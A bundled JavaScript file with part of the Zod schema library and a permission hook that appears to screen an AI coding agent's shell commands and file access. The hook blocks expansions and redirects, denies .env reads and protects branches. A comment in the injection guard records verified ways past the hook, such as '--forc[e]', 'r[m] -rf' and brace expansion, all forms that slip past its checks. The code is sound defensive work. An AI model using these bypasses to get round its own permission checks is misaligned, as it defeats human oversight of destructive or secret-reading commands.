\"record\",\n keyType,\n valueType,\n ...normalizeParams(params)\n });\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n $ZodEnum.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n inst.enum = def.entries;\n inst.options = Object.values(def.entries);\n const keys = new Set(Object.keys(def.entries));\n inst.extract = (values, params) => {\n const newEntries = {};\n for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n inst.exclude = (values, params) => {\n const newEntries = { ...def.entries };\n for (const value of values) if (keys.has(value)) delete newEntries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n});\nfunction _enum(values, params) {\n const entries = Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values;\n return new ZodEnum({\n type: \"enum\",\n entries,\n ...normalizeParams(params)\n });\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n $ZodTransform.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n inst._zod.parse = (payload, _ctx) => {\n if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n payload.addIssue = (issue$1) => {\n if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n else {\n const _issue = issue$1;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = inst);\n payload.issues.push(issue(_issue));\n }\n };\n const output = def.transform(payload.value, payload);\n if (output instanceof Promise) return output.then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n payload.value = output;\n payload.fallback = true;\n return payload;\n };\n});\nfunction transform(fn) {\n return new ZodTransform({\n type: \"transform\",\n transform: fn\n });\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n return new ZodOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n $ZodExactOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n return new ZodExactOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n $ZodNullable.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n return new ZodNullable({\n type: \"nullable\",\n innerType\n });\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n $ZodDefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n return new ZodDefault({\n type: \"default\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n $ZodPrefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n return new ZodPrefault({\n type: \"prefault\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n $ZodNonOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n return new ZodNonOptional({\n type: \"nonoptional\",\n innerType,\n ...normalizeParams(params)\n });\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n $ZodCatch.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n return new ZodCatch({\n type: \"catch\",\n innerType,\n catchValue: typeof catchValue === \"function\" ? catchValue : () => catchValue\n });\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n $ZodPipe.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n inst.in = def.in;\n inst.out = def.out;\n});\nfunction pipe(in_, out) {\n return new ZodPipe({\n type: \"pipe\",\n in: in_,\n out\n });\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n $ZodReadonly.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n return new ZodReadonly({\n type: \"readonly\",\n innerType\n });\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n $ZodCustom.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n session_id: string(),\n transcript_path: string(),\n cwd: string(),\n permission_mode: string(),\n hook_event_name: string(),\n tool_name: string(),\n tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n const chunks = [];\n for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n let parsed;\n try {\n parsed = JSON.parse(chunks.join(\"\"));\n } catch (_error) {\n return {\n ok: false,\n raw: chunks.join(\"\").slice(0, 200),\n error: \"invalid JSON\"\n };\n }\n const result = HookInputSchema.safeParse(parsed);\n if (!result.success) return {\n ok: false,\n raw: parsed,\n error: result.error.message\n };\n return {\n ok: true,\n data: result.data\n };\n}\nconst BashInputSchema = object({\n command: string(),\n description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n pattern: string(),\n path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n const result = BashInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n const result = FilePathInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n const result = SearchInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\nfunction writeDecision(action, detail) {\n const decision = { hookSpecificOutput: {\n hookEventName: \"PreToolUse\",\n permissionDecision: action,\n ...action === \"deny\" && detail ? { permissionDecisionReason: detail } : {},\n ...action === \"allow\" && detail ? { additionalContext: detail } : {}\n } };\n process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n const hookDir = path.dirname(fileURLToPath(import.meta.url));\n return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation -- ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n try {\n if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n const rotatedPath = `${logPath}.1`;\n fs.renameSync(logPath, rotatedPath);\n }\n } catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws -- audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n try {\n const logPath = getLogPath();\n if (!rotationChecked) {\n rotateIfNeeded(logPath);\n rotationChecked = true;\n }\n const record = {\n timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n ...entry\n };\n fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n } catch (err) {\n process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n }\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n let content = \"\";\n let i = start;\n while (i < input.length && input[i] !== \"\\\"\") {\n if (input[i] === \"\\\\\" && i + 1 < input.length) {\n const next = input[i + 1];\n if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n content += next;\n i += 2;\n continue;\n }\n }\n content += input[i];\n i++;\n }\n if (i >= input.length) return null;\n return {\n content,\n next: i + 1\n };\n}\nfunction tokenize(input) {\n const tokens = [];\n let current = \"\";\n let i = 0;\n let inToken = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\") {\n inToken = true;\n i++;\n while (i < input.length && input[i] !== \"'\") {\n current += input[i];\n i++;\n }\n if (i >= input.length) return {\n ok: false,\n error: \"unterminated single quote\"\n };\n i++;\n } else if (ch === \"\\\"\") {\n inToken = true;\n const scanned = scanDoubleQuoted(input, i + 1);\n if (!scanned) return {\n ok: false,\n error: \"unterminated double quote\"\n };\n current += scanned.content;\n i = scanned.next;\n } else if (ch === \"\\\\\" && i + 1 < input.length) {\n inToken = true;\n current += input[i + 1];\n i += 2;\n } else if (ch === \" \" || ch === \" \") {\n if (inToken) {\n tokens.push(current);\n current = \"\";\n inToken = false;\n }\n i++;\n } else {\n inToken = true;\n current += ch;\n i++;\n }\n }\n if (inToken) tokens.push(current);\n return {\n ok: true,\n tokens\n };\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n if (!input || !input.trim()) return [];\n const segments = [];\n let current = \"\";\n let i = 0;\n let inSingleQuote = false;\n let inDoubleQuote = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\" && !inDoubleQuote) {\n inSingleQuote = !inSingleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\"\" && !inSingleQuote) {\n inDoubleQuote = !inDoubleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n current += ch + input[i + 1];\n i += 2;\n continue;\n }\n if (!inSingleQuote && !inDoubleQuote) {\n if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n pushSegment(segments, current, \"&&\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n pushSegment(segments, current, \"&\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n pushSegment(segments, current, \"||\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"|\") {\n pushSegment(segments, current, \"|\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \";\") {\n pushSegment(segments, current, \";\");\n current = \"\";\n i++;\n continue;\n }\n }\n current += ch;\n i++;\n }\n const trimmed = current.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator: null\n });\n return segments;\n}\nfunction pushSegment(segments, text, operator) {\n const trimmed = text.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator\n });\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/** Safe redirect patterns that don't constitute file writes */\nconst SAFE_REDIRECTS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n]);\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs -- so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 -- i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too -- an accepted fail-closed false positive (passthrough\n* only prompts a human).\n*/\nfunction hasBraceExpansion(token) {\n let depth = 0;\n for (let i = 0; i < token.length; i++) {\n const ch = token[i];\n if (ch === \"{\") depth++;\n else if (ch === \"}\") {\n if (depth > 0) depth--;\n } else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n }\n return false;\n}\n/**\n* An output-redirect token is safe only when it targets `/dev/null` -- either as\n* a combined token (`>/dev/null`) or a bare operator whose next token is `/dev/null`.\n*/\nfunction isSafeOutputRedirect(token, next) {\n if (token.endsWith(\">/dev/null\")) return true;\n return token.match(/^(&>>|&>|>>|>|1>|2>)$/) !== null && next === \"/dev/null\";\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - File redirects (`>`, `>>`, `<` to non-/dev/null targets) -- skipped when `skipRedirects` is true\n* - Newlines in raw segment (injection via line splitting)\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it -- so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to passthrough\n* (a human is prompted) rather than risking an unresolved expansion silently\n* auto-approving or auto-denying based on the wrong argv.\n*\n* ## Expansions this guard knowingly does NOT model\n*\n* Two weaker members of the same \"unmodeled expansion\" family are left open. Both were\n* surfaced by the adversarial review of the issue-attachments hardening and verified\n* empirically against real bash plus this evaluator. **Decision (2026-07-13): accept as\n* documented limitations.** They are recorded here, not as a todo, because the next\n* person to touch this function is the person who needs to know.\n*\n* **Glob reconstruction.** `bst issue:download 273 --forc[e]` (also `--forc?`, `--for*`,\n* `--*`) expands to a real `--force` argv and this returns `safe` -- but *only when a file\n* literally named `--force` already exists in the working directory*. Creating that file\n* is itself hook-gated (`> --force` is caught as a redirect; `touch -- --force` falls to\n* passthrough), so it is a two-step, precondition-gated exploit -- strictly weaker than the\n* unconditional `$`/brace bypasses that were fixed. The same class defeats deny rules\n* (`r[m] -rf`), again only with a pre-existing matching file.\n*\n* *Why not fixed:* closing it means routing any token containing an unquoted glob\n* metacharacter (`*`, `?`, `[`) to passthrough -- which prompts on `ls *.md`, `find . -name\n* '*.ts'`, and nearly every globbing command an agent legitimately runs. Unlike `$` and\n* brace expansion (rare in real commands), globs are everywhere, so the prompt-fatigue\n* cost is real and daily, and a guard people learn to click through protects nobody.\n* Revisit only if a cheaper predicate emerges -- the candidate is to flag a glob metachar\n* **only in a token that also begins with `-`** (a flag position, which is where the\n* reconstruction attack lives), leaving bare-argument globs like `*.md` allowed. That\n* would live right here, beside {@link hasBraceExpansion}.\n*\n* **Tilde expansion.** `~` is unmodeled. Bash only expands it to a home *path* at word\n* start, so it cannot reconstruct a flag or a command name -- it is a path-scope concern,\n* not the flag/command-reconstruction vector this guard defends against. Lowest priority;\n* noted for completeness.\n*\n* If either is ever closed, pin it with regression fixtures the way the nested-brace cases\n* were pinned in `tests/fixtures.ts`.\n*\n* @param skipRedirects When true, skip redirect analysis (used for trusted resolved scripts)\n*/\nfunction checkInjection(tokens, rawSegment, skipRedirects = false) {\n if (/[\\n\\r]/.test(rawSegment)) return {\n safe: false,\n reason: \"unquoted newline in command\"\n };\n for (const token of tokens) {\n if (token === \"`\") return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"`\")) return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"$\")) return {\n safe: false,\n reason: \"unresolved dollar-expansion\"\n };\n if (hasBraceExpansion(token)) return {\n safe: false,\n reason: \"brace expansion\"\n };\n if (token.includes(\"<(\")) return {\n safe: false,\n reason: \"process substitution\"\n };\n if (token.includes(\">(\") && !SAFE_REDIRECTS.has(token)) return {\n safe: false,\n reason: \"process substitution\"\n };\n }\n if (!skipRedirects) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (SAFE_REDIRECTS.has(token)) continue;\n if (token.includes(\"<\") && !token.includes(\"<(\")) return {\n safe: false,\n reason: \"input redirect\"\n };\n if (token.includes(\">\")) {\n if (isSafeOutputRedirect(token, tokens[i + 1])) continue;\n return {\n safe: false,\n reason: \"output redirect to file\"\n };\n }\n }\n return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n \".sample\",\n \".example\",\n \".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack -- yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n if (isEnvSafeSuffix(path.basename(filePath))) return false;\n return ENV_FILE_PATTERN.test(filePath);\n}\n/**\n* Check if any non-flag token in a Bash command targets a .env file.\n* Used by Bash deny rules for cat, head, tail, grep, etc.\n*/\nfunction tokensTargetEnvFile(tokens) {\n return tokens.slice(1).some((t) => !t.startsWith(\"-\") && isEnvFile(t));\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n* - cwd is not a git repository,\n* - HEAD is detached,\n* - any git invocation fails.\n*\n* Null is the safe protected default -- callers treat it as \"protected\".\n*/\nfunction getCurrentBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"rev-parse\",\n \"--abbrev-ref\",\n \"HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out || out === \"HEAD\") return null;\n return out;\n } catch {\n return null;\n }\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"symbolic-ref\",\n \"--short\",\n \"refs/remotes/origin/HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return null;\n return out.startsWith(\"origin/\") ? out.slice(7) : out;\n } catch {\n return null;\n }\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null -- e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in isGitSafePush. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n const set = new Set(ALWAYS_PROTECTED);\n const remote = getRemoteDefaultBranch(cwd);\n if (remote) set.add(remote);\n for (const b of extra) set.add(b);\n return set;\n}\n/**\n* Configured remote names (`git remote`). Empty when cwd is not a repo or git\n* fails -- the safe default, since callers require membership to auto-approve.\n*/\nfunction getRemotes(cwd) {\n try {\n const out = execFileSync(\"git\", [\"remote\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return /* @__PURE__ */ new Set();\n return new Set(out.split(\"\\n\").map((line) => line.trim()).filter(Boolean));\n } catch {\n return /* @__PURE__ */ new Set();\n }\n}\n/**\n* True when `cwd` is the repository's *primary* worktree (not a linked one\n* created by `git worktree add`). In the primary worktree the git dir and the\n* common git dir are the same directory; in a linked worktree the git dir is\n* `.../.git/worktrees/<name>` while the common dir is the shared `.../.git`.\n*\n* Fail-safe: any git/filesystem error returns `false` (treated as \"not primary\",\n* i.e. no advisory) so a hiccup never disturbs the decision. Mirrors the\n* \"safe default\" convention of getCurrentBranch.\n*/\nfunction isPrimaryWorktree(cwd) {\n try {\n const gitDir = execFileSync(\"git\", [\"rev-parse\", \"--absolute-git-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n const commonRaw = execFileSync(\"git\", [\"rev-parse\", \"--git-common-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!gitDir || !commonRaw) return false;\n const commonDir = resolve(cwd, commonRaw);\n return realpathSync(gitDir) === realpathSync(commonDir);\n } catch {\n return false;\n }\n}\n\n//#endregion\n//#region src/lib/git-short-options.ts\n/** Per-subcommand required-value short option letters. Deliberately excludes\n* `-t` (`--track`): see the note below the value-taking sets.\n*/\nconst VALUE_TAKING_LETTERS = {\n switch: /* @__PURE__ */ new Set([\"c\", \"C\"]),\n checkout: /* @__PURE__ */ new Set([\"b\", \"B\"])\n};\n/**\n* Decompose a short-option cluster token for `sub`. Returns `undefined` for\n* anything that is not a short-option cluster: a token that does not start\n* with `-`, the bare `-`, and anything starting with `--`. Every caller keeps\n* handling those tokens exactly as it does today.\n*\n* Otherwise walks the characters after the leading `-` left to right,\n* collecting each into `letters`, and stops at the first character that is a\n* required-value option letter for `sub` -- that letter is the last one\n* collected, and the remainder of the token (possibly empty) becomes\n* `attachedValue`, never inspected as flags again.\n*\n* Worked cases:\n* - `-fc` (switch or checkout) -> letters `[\"f\", \"c\"]`, no attached value --\n* `f` never stops the scan, so `c`/`C` is just collected as another letter\n* unless the subcommand's own value-taking set includes it earlier.\n* - `-cf` (switch) -> letters `[\"c\"]`, attached value `\"f\"`.\n* - `-cfeat/x` (switch) -> letters `[\"c\"]`, attached value `\"feat/x\"`.\n* - `-c` (switch) -> letters `[\"c\"]`, attached value `\"\"` (git reads the\n* branch name from the next argv element).\n*/\nfunction splitShortOptionCluster(token, sub) {\n if (!token.startsWith(\"-\") || token.startsWith(\"--\") || token.length <= 1) return;\n const valueLetters = VALUE_TAKING_LETTERS[sub];\n const letters = [];\n const chars = token.slice(1);\n for (let i = 0; i < chars.length; i++) {\n const ch = chars[i];\n letters.push(ch);\n if (valueLetters.has(ch)) return {\n letters,\n attachedValue: chars.slice(i + 1)\n };\n }\n return { letters };\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) -- the IDE is\n* inconsistent -- and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to passthrough (reads) or a false\n* \"outside the project\" deny (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path --\n* `cwd` -- and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter => win32). */\nfunction pathFlavorFor(base) {\n return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n const pp = pathFlavorFor(dir);\n const rel = pp.relative(dir, target);\n if (rel === \"\") return true;\n if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` -- top-level or nested inside a subdirectory repo --\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not just\n* `<cwd>/.git` -- matching `.git` at *any* depth, as long as the resolved\n* 